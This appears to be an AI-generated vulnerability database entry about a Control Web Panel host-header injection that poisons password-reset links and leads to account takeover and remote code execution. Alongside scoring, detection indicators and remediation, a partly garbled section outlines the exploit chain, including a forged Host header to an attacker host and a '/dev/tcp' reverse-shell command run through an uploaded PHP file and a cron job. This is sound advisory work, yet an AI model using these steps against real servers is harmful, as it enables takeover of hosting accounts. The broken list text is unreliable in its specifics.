
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-124020 is a host header injection vulnerability in Control Web Panel (CWP) affecting all versions before webpanel_version 1.30.6. The flaw allows unauthenticated remote attackers to manipulate the password-recovery reset URL by injecting a malicious HTTP Host header into the /v1/lostpass/ route's token generation process, ultimately enabling account takeover and remote code execution. It was published on November 13, 2026, with a GitHub Advisory added on November 14, 2026. The vulnerability carries a CVSS v3.1 base score of 8.1 (High) and a CVSS v4.0 base score of 9.2 (Critical) (GitHub Advisory, VulnCheck Advisory).
The root cause is classified as CWE-640 (Weak Password Recovery Mechanism for Forgotten Password): CWP incorporates the HTTP Host header directly into the password-reset URL generated during the /v1/lostpass/ token creation process without validation or sanitization. An attacker submits a password-reset request with a forged Host header pointing to an attacker-controlled server; the resulting reset email sent to the victim contains a link referencing the attacker's host. If an automated mail-security scanner (or the victim) follows the poisoned link, the live recovery token (idsession) is exfiltrated to the attacker. The attacker then replays the token at /login/index.php?acc=newpass to set a new password, gaining authenticated panel access, and subsequently abuses the File Manager and Crontab modules to achieve command execution as the targeted hosting account (GitHub Advisory, VulnCheck Blog).
Successful exploitation results in full account takeover of the targeted CWP hosting account, with high confidentiality, integrity, and availability impact on the vulnerable system. An attacker who completes the chain gains an authenticated panel session, can upload arbitrary PHP files via the File Manager, and schedule their execution via Crontab — yielding a reverse shell running as the hosting account. While the initial shell is unprivileged, it can serve as a pivot point for privilege escalation, lateral movement to other accounts on the shared hosting system, or data exfiltration of hosted files and databases (GitHub Advisory, VulnCheck Blog).
Two public proof-of-concept exploits are available on GitHub. The first (fixedbyreboot/CVE-2026-124020-POC) implements the token-replay account takeover chain and has been verified against CWP webpanel 1.30.5. The second (LLCForge/CVE-2026-124020), rated high confidence, automates the full attack chain including host-header poisoning, token capture, password reset, PHP reverse shell upload via File Manager, and cron-based execution. As of the time of reporting, there is no evidence of active in-the-wild exploitation; the NVD SSVC assessment lists exploitation status as "poc." The EPSS score is approximately 0.65–0.77%, and the vulnerability is not currently listed in the CISA KEV catalog (GitHub Advisory, VulnCheck Blog).
POST /login/index.php?acc=lostpass (response 1 confirms a valid pair, 0 rejects).0.0.0.0:8080) to capture incoming GET requests containing the idsession recovery token.https://TARGET:2083/login/index.php?acc=lostpass (or https://TARGET:2304/v1/lostpass/) with the target's username and email in the body, and a forged Host: attacker-host:8080 header. CWP copies the HTTP Host header into the reset URL embedded in the recovery email.idsession token value from the URL using a regex such as [?&]idsession=([A-Za-z0-9]+).GET https://TARGET:2083/login/index.php?acc=newpass&idsession=<TOKEN> to fetch the reset form, then POST back with an attacker-chosen password to complete the password change.https://TARGET:2083/login/index.php?acc=login with the target username and new password to obtain an authenticated session.bash -i >& /dev/tcp/LHOST/LPORT 0>&1 wrapped in PHP) to {panel_path}/index.php?module=filemanager&acc=upload, placing it in the account's ~/tmp/ directory.{panel_path}/index.php?module=crontab&acc=add with a cron entry (* * * * * /usr/local/bin/php /path/to/shell.php) to execute the payload every minute./login/index.php?acc=lostpass or /v1/lostpass/ with a Host header that does not match the server's actual hostname or IP; outbound connections from the CWP server to unexpected external IPs on non-standard ports (reverse shell callback); GET requests to /login/index.php?acc=newpass&idsession=<hex> from IP addresses not associated with the account owner.Host header values; multiple rapid password-reset requests for the same account from different source IPs; successful login events immediately following a password-reset flow from an unfamiliar IP address.~/tmp/ or web-accessible directories; PHP files containing bash -i, /dev/tcp/, or base64-encoded payloads./bin/bash, curl, wget) connecting outbound to non-standard ports.* * * * * scheduling (every minute) pointing to PHP scripts in user home or temp directories (VulnCheck Blog, GitHub Advisory).The primary remediation is to upgrade Control Web Panel to version 1.30.6 or later, which addresses the host header injection in the password-recovery flow (CWP Changelog, GitHub Advisory). As interim workarounds: implement WAF rules to reject or normalize requests where the Host header does not match the server's configured hostname; restrict access to the /v1/lostpass/ and /login/index.php?acc=lostpass endpoints by IP allowlist where feasible; enable multi-factor authentication or additional verification steps for account recovery; and monitor password-reset logs for anomalous Host header values. Administrators should also audit existing crontab entries and File Manager uploads for signs of prior compromise (VulnCheck Advisory).
VulnCheck published both a technical advisory and a detailed blog post analyzing the vulnerability chain, including the role of automated mail-security scanners in token exfiltration (VulnCheck Blog). Security researcher Chocapikk published an independent technical write-up covering the recovery-code-to-RCE chain (Chocapikk Blog). Community discussion appeared on Infosec.exchange (Mastodon), and ThreatCluster aggregated coverage under a cluster titled "Critical CVE-2026 flaws in Control Web Panel lead to account takeover." A Hashnode post by Damiano Bianda drew broader lessons from the twin CWP flaws regarding API key design and recovery token security.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."